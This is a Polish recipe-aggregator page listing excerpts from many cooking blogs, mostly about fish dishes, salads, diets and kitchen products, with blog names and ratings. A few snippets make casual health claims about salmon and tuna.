zetknęłam się z nim kilka lat temu w trakcie urlopu w Chorwacji. Było to małej wiosce w Dalmacji, gdzie blitva podawana jest z ugotowanymi ziemniakami jako dodatek do grillowanych ryb oraz owoców morza. Po powrocie z wakacji próbowałam zakupić to warzywo u siebie w kraju, jednak bezskutecznie. I tak, przez ostatnich kilka lat jedyną okazją na zjedzenie blitvy były(...)niektórzy podgotowują liście buraka, jednak myślę iż ma to sens jedynie w przypadku dużych i nieco starszych liści. Młode ziemniaki z burakiem liściowym są świetnym dodatkiem do drobiu, ryb oraz owoców morza. Smakują równie dobrze podane z dodatkiem kefiru, maślanki bądź jogurtu. Polecam poniższy przepis na młode ziemniaki z burakiem liściowym i mam nadzieję, iż danie to Wam posmakuje. Znajdziesz

MeCooks
Zasady zdrowego grillowania. Plus 7 przepisów na pyszne sałatki do dań z grilla. 60

Wybieraj chude i dobrej jakości gatunki mięs Dlaczego? Otóż z chudych gatunków mięs wytapia się mniej tłuszczu i mniej toksycznych związków pojawia się w dymie. Dobrym wyborem będzie drób, ryby, cielęcina i wołowina. Jeśli decydujemy się na wieprzowinę, to warto wcześniej usunąć tłuste fragmenty. 5. Przygotuj samodzielnie marynatę do mięsa To właśnie ona nadaje smak i zapobiega wysuszeniu. Mięso należy(...)zamarynować na około 2h przed grillowaniem, a ryby i warzywa około 1h przed. Odradzam zakup mięs już w gotowych marynatach, bo niestety bardzo często jakość takich mięs jest tuszowana przez mieszankę intensywnych przypraw. 6. Postaw na aromatyczne zioła Aby dania były smaczne, wbrew pozorom, wcale nie musimy bazować na dużej ilości soli . Dobrze jest wybierać takie przyprawy, jak: kolendra, kminek

Natka Pietruszki
10 rzeczy, których trzeba spróbować na Węgrzech 74

wywołaliśmy już zupę gulaszową, to nie sposób nie powiedzieć również o gulaszu. Jest to w końcu węgierskie danie narodowe. Gulasz przyrządza się z różnych rodzajów mięs, a także z ryb. Od bograczu różni się tym, że jest gęstszy i podaje się go na płytkich talerzach jako drugie danie. Warto pamiętać, że oprócz słowa gulyas (oznaczającego pasterzy, którzy wymyślili to danie(...)porkolt (pochodzącego z kolei od węgierskiego przymiotnika “przypieczony”). Halaszle Węgry tak bardzo kojarzą się z gulaszem, że często zapomina się o roli, jaką w tamtejszej kuchni odgrywają ryby. A przecież obok bogracza i gulaszu w karcie większości węgierskich restauracji znajdziemy także halaszle, czyli pożywną zupę rybną. Podobnie jak większość węgierskich potraw, także halaszle zawiera cebulę, paprykę i pomidory

ProstePesto.pl
Pesto z mniszka lekarskiego — wiosenny przysmak 70

Pesto z mniszka w białej filiżance Pesto z młodych listków mniszka lekarskiego, błędnie nazywanego mleczem, robię tylko wiosną, bo tylko wiosną listki są wystarczająco delikatne. Pesto

Korniszonki
Zielona zupa z pokrzywy — smak wiosennej łąki 65

Zielona zupa z młodej pokrzywy Zielona zupa z pokrzywy “nie wygląda”, podobnie jak wszystkie zupy z wiosennych ziół, ale smakuje naprawdę obłędnie. Spokojnie może stanąć w

Korniszonki
Sałatka z awokado i tuńczykiem. 64

zdrową i wysoce satysfakcjonującą kremową konsystencję, salasa z pomidorów nadaje sałatce świeżość i przyjemny kontrastowy smak. Sałatka z awokado i tuńczykiem może stać się Twoją ulubioną sałatką. Tuńczyk jest rybą o wysokiej zawartości białka i wartościach odżywczych. Jest rybą niskokaloryczną. Jedzenie tuńczyka obniża ciśnienie krwi, wzmacnia kości, zapewnia prawidłowe funkcjonowanie mięśni i układu oddechowego. Korzystnie wpływa na układ nerwowy, kondycję

Zdrowy Styl Joanny
Kasza jaglana z pesto 64

przepis na kaszę jaglaną z pesto, którą zrobiłam z myślą o My. Można ją potraktować jako dodatek do obiadu, po prostu zamiast ziemniaków. Fajnie pasuje do ryb, kurczaka. Jeżeli chodzi o rodzaj pesto, nie musicie ściśle trzymać się mojego pomysłu. Rukolę możecie zastąpić natką pietruszki, jarmużem lub czosnkiem niedźwiedzim. Pestki dyni – pestkami słonecznika, orzeszkami piniowymi. Jeżeli nie jesteście(...)warzywa (zwłaszcza zielone), przeciwgrzybiczo działa cebula, czosnek (tych używam sporo), świeże zioła, gruboziarniste kasze, jogurty naturalne, oleje tłoczone na zimno (oliwa z oliwek, olej rzepakowy, z wiesiołka, lniany, kokosowy), ryby, drób, pestki dyni, niektóre orzechy, sezam, makarony żytnie, orkiszowe (od czasu do czasu), brązowy ryż, kaszę jaglaną, mąkę żytnią. Wskazane jest używanie przypraw jak: curry, kurkuma, imbir. Z owoców można

Kardamonovy
Zostań kuchennym samurajem czyli Japońskie noże kuchenne 73

długim ostrzu), yanagiba (nóż do sushi, z ostrzem długim i wąskim, ostrzonym jednostronnie), usuba (podobny do tasaka, jednak lżejszy i cieńszy, idealny do warzyw), deba (krótki nóż do ryb o grubym ostrzu), gyuto (nóż uniwersalny do krojenia, filetowania, szatkowania). Noże będące prawdziwą sztuką i nie tylko, czyli o zaletach Przeznaczenie noży japońskich jest wszechstronne – służą do mięsa, ryb, owoców

Słodkie okruszki
Pstrąg tęczowy w sosie koperkowym ze szparagami 57

Jeśli zobaczycie gdzieś szparagi to koniecznie zróbcie je z rybą i sosem koperkowym. Takie danie to znakomity pomysł na lekki i pożywny zarazem obiad. Polecam gorąco tym bardziej że robi się go błyskawicznie. Koniecznie pomysł do skopiowania. Pstrąg ze szparagami. CZYTAJ DALEJ

Moje Małe Czarowanie
Kotleciki ryżowe z łososiem 62

jeśli z wczorajszego obiadu został Wam ryż - możecie go wykorzystać, dzięki czemu nic się nie zmarnuje, a Wy szybko zrobicie nowy obiad. Jeśli nie lubicie łososia możecie użyć innej ryby, pamiętajcie jednak, że jeśli wybierzecie surową rybę musicie ją najpierw ugotować. Ja wykorzystałam wędzonego łososia, nie musiałam więc go dodatkowo przygotowywać. Kotleciki ryżowe z łososiem - przepis na 4 porcje

Z notatnika dietetyka
Dieta okołodobowa pomoże zdrowo schudnąć 64

się pozostawienie ich między godziną 10.00 a 21.00. Białka zwierzęce i produkty mleczne, takie jak jaja, wołowina, indyk lub kurczak (z wyjątkiem tłuszczów i kiełbas) oraz białe i niebieskie ryby najlepiej spożywać między godziną 10.00 a 21.00. Jeśli chodzi o nasiona roślin strączkowych i inne produkty, takie jak bulwy, np. słodkie ziemniaki, ziemniaki lub groch, powinny być one włączane między(...)dużej zawartości kalorii, takie jak mango czy banany, a także suszone owoce i orzechy, powinny być pozostawione do godziny 12.00. Wszystkie te produkty, a także nasiona roślin strączkowych, ryby, kurczak, sery i awokado to pokarmy bogate w tyrozynę, która pomaga nam w wydzielaniu hormonów, dzięki czemu mamy siłę, by stawić czoła wszystkiemu, co przed nami. W dzisiejszych czasach dni pracy

ProstePesto.pl
Sos musztardowo-miodowy 69

sałatkami na bazie zielonych sałat jak sałata lodowa, rukola, roszponka,a nawet sałata masłowa. Sos nada naszym sałatkom charakteru. Ostatnia moja podpowiedź do czego użyć takiego sosu to ryby - pieczone, gotowane na parze czy grillowane. Nie ważne czy będzie to ryba biała czyli dorsz, miruna czy mintaj. Może być to też łosoś i pstrąg. Jak widzicie, sos musztardowo-miodowy jest

Kuchnia domowa Ani
Sernik miodowy świąteczny i coś mojego pióra – “Przedświąteczny dzień” 49

osób sprawia, że wszystko w te dni jest wyjątkowe. Dlaczego nie docenia tego, co może sobie dać z rodziną co roku o tej porze? Ona może i zje wigilijną rybę, może i poszuka z rodzeństwem na niebie pierwszej gwiazdki, ale z pewnością ich sztuczna, stara choinka nie zapachnie lasem, nie znajdzie pod nią niczego dla siebie. Po przeciwnej stronie stołu(...)karpia. Wieczorem będzie musiał pozbawić tchnienia biedne stworzenie pływające w wannie, aby nazajutrz jego żona mogła z dumą zaprezentować z niego danie na pozłacanym półmisku… Z wieńcem i rybą musi zajrzeć jeszcze do jubilera. Jeżeli znajomy sprzedawca nie sprowadził mu tego naszyjnika, o którym tak marzyła jego wybranka, ze spokojem będzie się mógł pożegnać do sylwestra. Bardzo dziękuje za takie

Raj dla Podniebienia
Paprykarz z wędzoną makrelą 60

delikatnym ogniu dusić do miękkości warzyw (w razie potrzeby dolać jeszcze nieco wody). Zdjąć pokrywkę, dodać koncentrat pomidorowy, pastę paprykową, wymieszać, dodać ugotowany ryż, wymieszać, na koniec dodać rozdrobnioną rybę, wymieszać i wszystko razem dusić jeszcze 5 min. delikatnie mieszając co jakiś czas. W razie potrzeby podlać delikatnie wodą i doprawić solą i pieprzem czarnym mielonym. Zestawić z ognia(...)delikatnym ogniu dusić do miękkości warzyw (w razie potrzeby dolać jeszcze nieco wody). Zdjąć pokrywkę, dodać koncentrat pomidorowy, pastę paprykową, wymieszać, dodać ugotowany ryż, wymieszać, na koniec dodać rozdrobnioną rybę, wymieszać i wszystko razem dusić jeszcze 5 min. delikatnie mieszając co jakiś czas. W razie potrzeby podlać delikatnie wodą i doprawić solą i pieprzem czarnym mielonym. Zestawić z ognia

ememe kitchen
Co jeść, kiedy głodny, żeby nie przytyć? 77

pokarmem, który można jeść bez przybierania na wadze. Ich wysoka zawartość białka i błonnika pomaga nam regulować apetyt i czuć się sytym bez konieczności spożywania zbyt wielu kalorii. Tłuste ryby morskie. Jeśli podczas obiadu lub kolacji czujesz się bardzo głodny, ryby — zwłaszcza tłuste — mogą być dobrym rozwiązaniem, aby uniknąć przejedzenia. Jest on bowiem doskonałym źródłem białka i tłuszczów wielonienasyconych

ProstePesto.pl
Inteligentne rozwiązania w kuchni Haier 67

ściereczką, aby go oczyścić. Istotną funkcją w piekarnikach z serii I-Message Steam (szczególnie dla lubiących wypieki) jest także pieczenie parowe . To dzięki niej ciasta, ale też mięsa i ryby, są dobrze wypieczone na zewnątrz i przyjemnie soczyste/wilgotne w środku. Idealna funkcja do serników czy biszkoptów! Piekarniki Haier mają także wygodne drabinki i prowadnice teleskopowe, dzięki którym wyjmowanie potraw jest(...)przy jej wyborze? Jak dla mnie najciekawszymi funkcjami są: termosonda, łączenie pól grzewczych i funkcja VaryCook. Termosonda , która mierzy temperaturę w środku potrawy, dzięki czemu idealnie wysmażymy mięso i ryby. Jest to szczególnie przydatne w przypadku wołowiny, ponieważ pozwala wysmażyć stek w takim stopniu, jakiego oczekują goście. Efekt jak w 5-gwiazdkowej restauracji! Funkcja łączenia pól grzewczych sprawdzi się

Kuchnia Bazylii
Marynowane filety z kurczaka. I o zaletach pakowania próżniowego. 92

chronimy ich smak, aromat oraz wartości odżywcze, produkty zapakowane próżniowo łatwiej przechowywać i przewozić nawet na duże odległości, pakowanie próżniowe chroni przed rozprzestrzenianiem się intensywnych zapachów żywności, np. wędzonych ryb czy serów, umożliwia porcjowania zakupionych produktów, nie marnujemy żywności i tym samym oszczędzamy. Jak pakować próżniowo? Do pakowania próżniowego potrzebne są specjalne zgrzewarki próżniowe i inne akcesoria. Ja od długiego(...)nich nie tylko przechowywać żywność, ale również ją marynować (czas to kilka minut, a nie kilka godzin!). Szczerze polecam! W tych pojemnikach można przechowywać praktycznie wszystko, np. mięso, ryby, sery, owoce, orzechy, warzywa, sałatki, kiełbasę, wędlinę, obiad, ciasta, ciasteczka i wiele więcej. Przechowujemy i nie marnujemy! Pakowanie próżniowe to doskonała alternatywa dla tradycyjnych sposobów przechowywania żywności. Więcej informacji znajdziecie

Słodkie okruszki
Dieta redukcyjna – Jak ją prawidłowo ułożyć? 61

kilogram masy ciała. Nie więcej niż 45% przyjmowanej energii powinno pochodzić z węglowodanów.   W jakich produktach znajdziemy dobre źródła składników? Wysoką ilość białka zapewnią nam: jaja, ryby, mięso, nabiał czy odżywki białkowe. Zdrowe tłuszcze przyswoimy z: awokado, tłustych ryb takich jak łosoś czy pstrąg, orzechów laskowych, brazylijskich, włoskich i migdałów. Dodatkowo w diecie można wykorzystywać oleje: lniany

Słodkie okruszki
Korzyści zdrowotne fermentowanej żywności 68

roku p.n.e. spleśniały twaróg sojowy był używany przez Chińczyków jako antybiotyk na czyraki. To pierwsze udokumentowane zastosowanie fermentowanej żywności jako leku. W starożytnej Grecji za pomocą solanki przedłużano przydatność ryb do spożycia. Starożytni Rzymianie eksperymentowali z drożdżami w fermentacji ciasta, do zaczynu chleba, marynowali mięso wieprzowe. Kiszone ogórki znane były w 2000r. p.n.e., pochodzą z terenów doliny Tygrysu, obecnie Iraku(...)potrawa to hongeo-hoe, rodzaj sfermentowanego dania rybnego ze śledzi bałtyckich (Szwecja). Sfermentowana potrawa rybna ma bardzo silny, charakterystyczny zapach przypominający amoniak (Korea). Kusaya solona, suszona i fermentowana to ryba w stylu japońskim, o ostrym zapachu podobnym do kiszonego szwedzkiego śledzia. Artykuł Korzyści zdrowotne fermentowanej żywności pochodzi z serwisu Przepis Kulinarny ProstePesto a jego autorem jest Poradnik Kulinarny

ProstePesto.pl
CEVICHE Z DORSZEM I BANANAMI 79

Łacińskiej, takich jak Ekwador czy Meksyk, przy czym w każdym z tych krajów przyrządza się je nieco inaczej.  To delikatne i subtelne danie tradycyjnie przygotowuje się z surowej ryby marynowanej w soku z cytryny lub limonki, doprawionej papryczką chili, kolendrą i cebulą, i podanej z owocami lub warzywami, np marakują, awokado, pomidorami. Ceviche  serwują również często restauracje(...)Hiszpanii, staje się także coraz bardziej popularne we Francji. Danie to istniało przypuszczalnie w Peru przed przybyciem Hiszpanów na kontynent południowoamerykański, ale składało się głównie z ryby marynowanej w tamtejszych warzywach i wodorostach, a kiedy Hiszpanie przywieźli do Peru cytrusy, wzbogaciły one kompozycję tej potrawy. Przygotowanie: 20 min. Chłodzenie: 4 godz. Porcja dla 6 osób: ● 800 g filetu z dorsza

Smaki Francji współczesna kuchnia francuska
Dieta paleo- hit czy mit? 73

Dieta paleo jest znana wszystkim, którzy chociaż raz podjęli walkę o szczupłą sylwetkę. Kładzie główny nacisk na chude mięso, ryby i nieprzetworzoną, świeżą żywność. Skupia się również wokół ograniczenia węglowodanów, cukru oraz soli. Zwolennicy paleo twierdzą, że to przez nowoczesną dietę i przetworzone jedzenie mierzymy się z różnymi dolegliwościami dieto zależnymi. Korzyści Jedną z największych zalet diety paleo, z żywieniowego(...)wysokie ciśnienie, również zaleca się stosowanie tej diety. Warto jednak wykonywać regularne badania krwi i być pewny, że wszystkie wartości odżywcze dostarczamy w odpowiednich ilościach. Proponowana lista produktów Ryby i owoce morza- dostarczają białka i tłuszczów omega-3. Chude mięso- zapewnia to białko o niskiej zawartości tłuszczów nasyconych, witamin (B12) i minerałów (cynk, żelazo). Świeże owoce- źródło przeciwutleniaczy i błonnika

codojedzenia
Moda na topinambur 71

śmietaną kremówką, zakrywając topinambur w ¾, gotuj przez 20 minut, by na koniec zmiksować na gładką masę z dodatkiem soli i szczypty cukru. Mus sprawdzi się na obiad w towarzystwie ryby i surówki, ale również jako przekąska – idealnie komponuje się z surową marchewką lub selerem naciowym. Wegetarianom zaś na chłodne dni polecamy rozgrzewające leczo. Klasyczny przepis na węgierską potrawę wzbogać(...)swoją ofertę na internetowym targu. Zaufani dostawcy oferują ponad 3 500 produktów z czystą etykietą, m.in. warzywa i owoce z ekologicznych upraw, wiejskie jaja i nabiał, mięso, wędliny i ryby z małych hodowli, przetwory, tradycyjne wyroby piekarnicze i cukiernicze. Zakupy dostarczane są w całej Polsce, a dodatkowo we Wrocławiu, w Krakowie, na Śląsku i w Warszawie można je zamówić

Kulinarnyblog.pl - wiesz jak gotować!
Duży indeks sytości i mniejsza ilość kalorii 72

pomaga nam czuć się sytym przez dłuższy czas. Jednak należy pamiętać, że powinno być spożywane w małych dawkach, biorąc pod uwagę poziom kalorii. Zalecana dawka to maksymalnie 30 gramów. Ryby. Ryby są pokarmem wysokobiałkowym, który zawiera również tłuszcze wielonienasycone, takie jak kwasy tłuszczowe omega-3. Jego kaloryczność (jeśli są grillowane lub pieczone) jest niska, ale nadal jest bardzo sycący. Owies

ProstePesto.pl
Odkryj Buddha bowl! 73

znaleźć? Tłuszcze te znajdują się zazwyczaj w żywności przetworzonej przemysłowo. Idealnym sposobem na ich uniknięcie jest priorytetowe traktowanie żywności zawierającej zdrowe tłuszcze, takie jak te znajdujące się w tłustych rybach, oliwie z oliwek z pierwszego tłoczenia, orzechach, jajkach i awokado. W tym przypadku, jako że jest to danie wegetariańskie, do dressingu użyjemy dobrej oliwy, a w przygotowaniu możemy wykorzystać również(...)odżywczy jest jednym z najbardziej znanych ze względu na swoją funkcję strukturalną: jest pokarmem dla mięśni. Białko może być pochodzenia zwierzęcego lub roślinnego. Pierwszy z nich można znaleźć w rybach, mięsie (czerwonym lub białym) i jajach. Te ostatnie są czasem trudniejsze do wykrycia, ale soja, quinoa, rośliny strączkowe, tofu i konopie są dobrymi źródłami białka roślinnego. W rzeczywistości jedynym pożywieniem

ProstePesto.pl
Fish buła z dorszem w panko 70

Fish buła z dorszem w panko 24 godziny wcześniej przygotować marynowaną czerwoną cebulę. Przed smażeniem ryby przygotować różowy sos. Składniki sosu umieścić w kubku i wymieszać ze sobą. Filety z dorsza umyć, osuszyć, pokroić na kawałki wielkości bułek, oprószyć solą i pieprzem. Przygotować trzy naczynia. Do jednego wsypać mąki i wymieszać, do drugiego wybić jajko i dokładnie roztrzepać(...)niej plasterki pomidora. Następnie ułożyć usmażone filety, plasterki ogórka konserwowego, cebulę marynowaną, polać odrobiną sosu i przykryć wierzchnią częścią bułek. 24 godziny wcześniej przygotować marynowaną czerwoną cebulę. Przed smażeniem ryby przygotować różowy sos. Składniki sosu umieścić w kubku i wymieszać ze sobą. Filety z dorsza umyć, osuszyć, pokroić na kawałki wielkości bułek, oprószyć solą i pieprzem. Przygotować trzy naczynia

ememe kitchen
Puree ziemniaczane 50

Puree ziemniaczane to niewątpliwie jeden z lepszych, prostszych i bardzo uniwersalnych dodatków do potraw z mięsa, ryb, jajek i warzyw. Puree ziemniaczane to utłuczone ziemniaki z dodatkiem mleka (lub słodkiej śmietanki, śmietany) i masła. Bardzo kremowe i pyszne. To przepis na świetny dodatek do wielu dań obiadowych, nie tylko mięsnych, rybnych, warzywnych. Może stanowić także ciepły posiłek, do którego wystarczy(...)małej mocy palnika. Pod koniec smażenia delikatnie ją posól i popieprz, najlepiej świeżo mielonym pieprzem. Cebulkę wraz z aromatycznym olejem dodaj do puree, wymieszaj. Podawaj do mięs, warzyw, ryb, jajka sadzonego. Dodatki do puree: tarty parmezan, gałka muszkatołowa, chili w płatkach, podsmażony, chrupiący boczek, zmiksowany zielony groszek – powstanie kolor zielony puree, karmelizowana cebulka, odrobina chrzanu ze słoiczka. Puree ziemniaczane

Zasmakuj Kuchni
Mini tarty z łososiem i szparagami. 82

kwas foliowy, niacyna, tiamina. Składniki mineralne to: magnez, żelazo, fosfor, potas, cynk, sód, wapń, fosfor. Znajdziemy w nich również sporo błonnika pokarmowego. Łosoś jest znaną i lubianą rybą. Jego właściwości odżywcze są bezcenne dla naszego organizmu. Jedzenie tej ryby wzmacnia odporność, zapobiega nowotworom. Normalizuje ciśnienie krwi, działa przeciwzapalnie i przeciwalergicznie. Jedzenie łososia zapobiega depresji. Pozytywnie wpływa na skórę, włosy

Zdrowy Styl Joanny
Karnawałowe inspiracje: najlepsze przepisy 88

imprezie karnawałowej nie zabrakło zdrowych przekąsek, które będą miłym urozmaiceniem po niedawnym biesiadowaniu. Dobrym pomysłem jest uwzględnienie w karnawałowym menu kolorowych koreczków z warzywami i rybami oraz sałatek. Te ostatnie nie muszą być zaprawiane majonezem. Znacznie lżejszym i ciekawym rozwiązaniem będą sosy na bazie oliwy z oliwek, oleju lnianego czy oleju dyniowego. Smak sosu podkreślą ocet balsamiczny(...)resztki z przygotowania innych potraw. Bardzo często po Świętach mamy w lodówce zamarynowane śledzie, z których możemy przygotować pyszne i zdrowe koreczki śledziowe. Ta przekąska będzie idealna, jeśli połączymy rybę z ogórkiem kiszonym i cebulą. Z kolei koreczki z oliwkami będą smakowały wyjątkowo, jeśli do oliwek dodamy pomidorka koktajlowego i kulkę mozzarelli. Brzmi banalnie prosto, prawda? Kolorowe drinki: alkoholowe

Pasja Smaku
Batch Cooking! Gotowanie i zdrowe jedzenie 69

upieczenie jednej lub kilku całych dyń, przeciętych na pół. Następnie wyjmij miąższ, aby zrobić z niego puree z gotowanymi ziemniakami i wywarem lub podać jako dodatek do mięs i ryb. Można go również używać do pieczenia ciast i ciasteczek, a to samo dotyczy słodkich ziemniaków. Spróbuj również z bakłażanami przekrojonymi wzdłuż. Można z niego uformować roladki z ratatouille lub mięsem(...)orzechami. Będziesz mieć wszystkie desery i przekąski w swoim tygodniowym menu posortowane. Co więcej: jogurt, w połączeniu z przyprawami i odrobiną oliwy z oliwek, tworzy pyszny sos do mięs, ryb i sałatek. Prawidłowe przechowywanie potraw. Po ugotowaniu wszystkich potraw, trzeba zorganizować ich przechowywanie. Ważne jest, aby poczekać, aż wszystko ostygnie przed przechowywaniem i prawidłowo rozdzielić każde danie do czystych, szczelnych

ProstePesto.pl
Zdrowa dieta. Nasze wskazówki 64

jogurty i sery, najlepiej odtłuszczone. Zalecane są dwie lub trzy porcje dziennie. Produkty pochodzenia zwierzęcego, zarówno mięso, takie jak klasyczny kurczak, indyk, wieprzowina czy wołowina, jak i różne rodzaje ryb. W tym przypadku również zaleca się dwie lub trzy porcje dziennie. Tłuszcze powinny być spożywane z umiarem, chociaż zaleca się spożywanie oliwy na surowo, zwłaszcza oliwy z oliwek extra virgin(...)pochodzenia zwierzęcego zawiera w naszej diecie wielkie korzyści z ręki białka zwierzęcego i witaminy B12. Nasza dieta śródziemnomorska, jeden z doskonałych przykładów zdrowej diety, opiera się głównie na konsumpcji ryb i jaj w celu uzyskania tych składników odżywczych. Dopuszczalne jest jednak również spożywanie mięsa, najlepiej białego, ponieważ zawiera ono mniej tłuszczu. Czerwone mięso powinno być ograniczone do jednej porcji tygodniowo

ProstePesto.pl
Prosta sałatka z kraba prawdziwego. Simple Crab Salad. 66

Dzisiaj proponuję przepis na prawdziwą sałatkę z kraba, a nie z paluszków krabowych tzw. surimi, które mają smakiem i zapachem imitować mięso kraba, a robione są przeważnie z jakiś ryb z dodatkiem aromatów, więc oprócz nazwy, nie mają nic wspólnego z krabami. Mięso kraba jest delikatne i ma słodkawy smak. Jest też mało kaloryczne, gdyż ma małą zawartość tłuszczu(...)się saute podane z sosem przygotowanym na bazie majonezu, może to być czosnkowy sos aioli. W każdą niedzielę rano wybieramy się na Fischmarkt, oprócz owoców egzotycznych i mieszanki wędzonych ryb kupiliśmy na targu tzw. kraby brązowe, które łowione są w Morzu Północnym. Te kilogramowe kraby są tu bardzo tanie, za 2 sztuki ważące ponad 2 kg zapłaciliśmy tylko 10 euro

Damsko-męskie spojrzenie na kuchnię
pierożki pieczone ze śledziem 64

Wigilijne pierożki pieczone ze śledziem jako nadzienie. Użyłam rybę w pomidorach. Polecam jako nadzienie są świetne i skracają nam czas przygotowania.                     pierożki pieczone ciasto: 150g mąki pszennej 1/4 łyżeczki soli 25g masła 1 jajko 100 ml mleka 2 dkg drożdży szczypta cukru pozostałe: 1 jajko do posmarowania pieprz czarny(...)masło zimne i wyrabiam ciasto mikserem. Odstawiam na 90 minut do podwojenia objętości. Ciasto zagniatam na stolnicy i rozwałkowuję na grubość 2 mm, wycinam prostokąty 10 cm na 8cm. Rybę wyjmuję z puszki rozgniatam widelcem w misce. Układam łyżkę farszu na środku. Przykładam drugi kawałek ciasta i palcami dociskam na około nadzienia. Odcinam za pomocą noża kształt rybki z płetwą

wesoła kuchnia
Śledzie po królewsku 4071

Razem z moja rodzinką bardzo lubimy śledzie pod każdą postacią, dlatego często staram się przygotowywać jakieś nowe wersje tych ryb. Okres świąt Bożego Narodzenia to najlepszy moment na degustację śledzi, więc głównie w tym czasie pojawiają się na moim blogu przepisy właśnie z tymi rybami w roli głównej. Jednak często robię je nie tylko na święta, ale także na różnego

Danka Pichci
Sałatka z pieczonej marchwi z sosem Chamoy 51

Jest jednocześnie słony, słodki, kwaskowy i pikantny. Jego wyjątkowy smak ma wpływ na wszystko z czym się zetknie. Możemy go wykorzystać nie tylko do warzyw, ale również do mięsa, ryb, a nawet owoców. Przepis na sałatkę z marchwi pochodzi z książki SMAK autorstwa Yotama Ottolenghi i Ixty Belfrage. Skład sosu Chamoy z książkowego to morele suszone zamiast marynowanych, sumak, czosnek(...)mieszamy z ziołami i morelami, skrapiamy resztą oliwy i sokiem z limony. Posypujemy migdałami i podajemy. Marchewkę możemy serwować, jako niezależne wegetariańskie danie, ale również jako dodatek do mięs, ryb, grillowanego sera halloumi lub sadzonego jaja. The post Sałatka z pieczonej marchwi z sosem Chamoy first appeared on Tajemnice smaku

Tajemnice Smaku
Dobrze zbilansowana dieta wegetariańska – na co zwrócić uwagę 75

uzależnione jest od zapewnienia odpowiedniej dawki witaminy D, naturalnie dostarczana jest przez ekspozycję na promienie słoneczne. W okresie jesienno-zimowym zalecana jest suplementacja tej witaminy. Selen znajduje się w rybach, mięsach. W mniejszych ilościach znajduje się w produktach zbożowych, pieczarkach, nasionach warzyw strączkowych, czosnku i orzechach. Selen jest niezbędnym składnikiem w zachodzących procesach układu odpornościowego, jego niedobory mogą wywołać większą(...)podatność na infekcje. Większą przyswajalność można osiągnąć przy przyjmowaniu witamin A, C, E. Co powinno znaleźć się w naszym jadłospisie? Przygotowując się do całkowitego wyeliminowania mięsa oraz ryb z diety, warto sięgnąć po książki skupiające się na temacie zdrowej i odpowiednio zbilansowanej diety wegetariańskiej. Pomocne może być też szkolenie z dietetyczką. Jeżeli jednak decydujemy się wprowadzić zmiany na własną rękę

Kulinarnyblog.pl - wiesz jak gotować!
Boże Narodzenie zero waste – zobacz, jak nie zmarnować świątecznych pyszności 82

zawekować lub przyrządzić z nich coś zupełnie nowego. Podziel się jedzeniem, które zostało po świątecznej uczcie Gdy po świątecznej uczcie zostanie spora nadwyżka sałatek, ciast z bitą śmietaną czy ryb w sosach na bazie śmietany, przygotuj z nich paczki dla gości i wręcz im na odchodne. W ten sposób bliscy będą mogli cieszyć się smakiem świąt dłużej, a ty wygospodarujesz(...)Wiele wigilijnych potraw możesz zawekować i przechować w spiżarni nawet do kilku miesięcy. W ten sposób dłużej zachowasz świeżość zup, bigosu, bulionów, a nawet niektórych mięs. Z kolei panierowane ryby smażone możesz przełożyć do słoików, zalać gorącą marynatą octową i zapasteryzować, a w takiej formie przetrwają nawet do pół roku. Nowe potrawy z resztek Wielu pozostałościom po świątecznej uczcie możesz

Kulinarnyblog.pl - wiesz jak gotować!
Przepis na pieprz ziołowy z PRL 123

potrawy z grzybów, jajek na twardo. Jest aromatycznym dodatkiem do zup (zwłaszcza kapuśniaku i grochówki), sosów ziołowych, surówek i sałatek. Świetnie pasuje do świątecznego bigosu, farszu do pierogów i ryb. Jak stosować pieprz ziołowy  W zależności od rodzaju potrawy pieprz ziołowy dodajemy na różnych etapach gotowania, na początku - do wszelkiego rodzaju mięs i ryb, pod koniec gotowania

Cztery Fajery
SUSHI CALIFORNIA SAKE YAKI Z GRILLOWANYM ŁOSOSIEM I KARMELIZOWANYMI ORZESZKAMI 76

ugotuj według instrukcji na opakowaniu z octem ryżowym. 2. Łososia oczyść, dopraw do smaku solą i sosem teriyaki i grilluj na patelni grillowej z obu stron. Możesz również upiec rybę lub ugotować na parze. 3. Ogórka oraz marchewkę obierz i pokrój w słupki ok. 10 cm. Marchewkę dodatkowo zblanszuj ok. 3 minuty we wrzątku. 4. Na macie bambusowej wyłożonej folią(...)Ryż ugotuj według instrukcji na opakowaniu z octem ryżowym. Łososia oczyść, dopraw do smaku solą i sosem teriyaki i grilluj na patelni grillowej z obu stron. Możesz również upiec rybę lub ugotować na parze. Ogórka oraz marchewkę obierz i pokrój w słupki ok. 10 cm. Marchewkę dodatkowo zblanszuj ok. 3 minuty we wrzątku. Na macie bambusowej wyłożonej folią spożywczą połóż

globuskulinarny
Surówka z białej rzodkwi i jabłka 66

białej rzodkwi i przekonaj się ile w niej zdrowia i witamin, doskonale sprawdza się także jako zdrowa przekąska. Klasyczna, smaczna surówka obiadowe bez majonezu. Zastanawiasz się jaka surówka do ryby? Surówka z białej rzodkwi i jabłka pasuje do karkówki, sznycla po ministersku czy też sznycla po wiedeńsku i do ryby także. Znakomicie się też sprawdzi na bezmięsny obiad, np. jako

Dieta moja pasja
Swięteczne inspiracje kulinarne 57

paszteciki, uszka, krokiety. Najczęściej są nadziewane grzybami z kapustą, lub samymi grzybami; - śledzie w rożnej postaci, np. z grzybami, rodzynkami, śliwkami, z cebulą, olejem, w kształcie koreczków lub krojone; - ryby. Choć wśród nich dominuje karp, niemałą popularnością cieszą się również inne gatunki, jak chociażby turbot czy szczupak. Przyrządzane i podawane są ryby w galarecie, faszerowane, pieczone lub smażone; - łazanki

Obiad gotowy
Żywieniowe podejście do otyłości 99

Niech warzywa będą podstawą a nie jedynie dodatkiem. Poza nimi na talerzu powinny znaleźć się produkty zbożowe np. kasza gryczana, kasza pęczak czy ryż oraz dobre źródło białka np. ryba, mięso czy soczewica. Kompot warto zastąpić wodą a deser owocami, naszymi rodzimymi, najlepiej sezonowymi. Które warzywa są szczególnie polecane? Jemy oczami dlatego warto sięgać po warzywa o różnej barwie. Każde(...)Spożywaj nabiał jak mleko, jogurt, kefir, twaróg. Dobrym wyborem będzie nabiał odtłuszczony ale nie 0%. Ogranicz mięso i jego przetwory. Możesz je zastąpić nasionami roślin strączkowych (fasola, soczewica, ciecierzyca), rybami czy jajami. Tłuszcze zwierzęce zastąp olejami roślinnymi. Smalec wymień na olej rzepakowy. Pij wodę małymi łykami przez cały dzień. Średnie zapotrzebowanie to 1,5-2 L wody. Ogranicz użycie soli

Kulinarnyblog.pl - wiesz jak gotować!
Ekspresowe ciasto bananowe z czekoladą - przepis 91

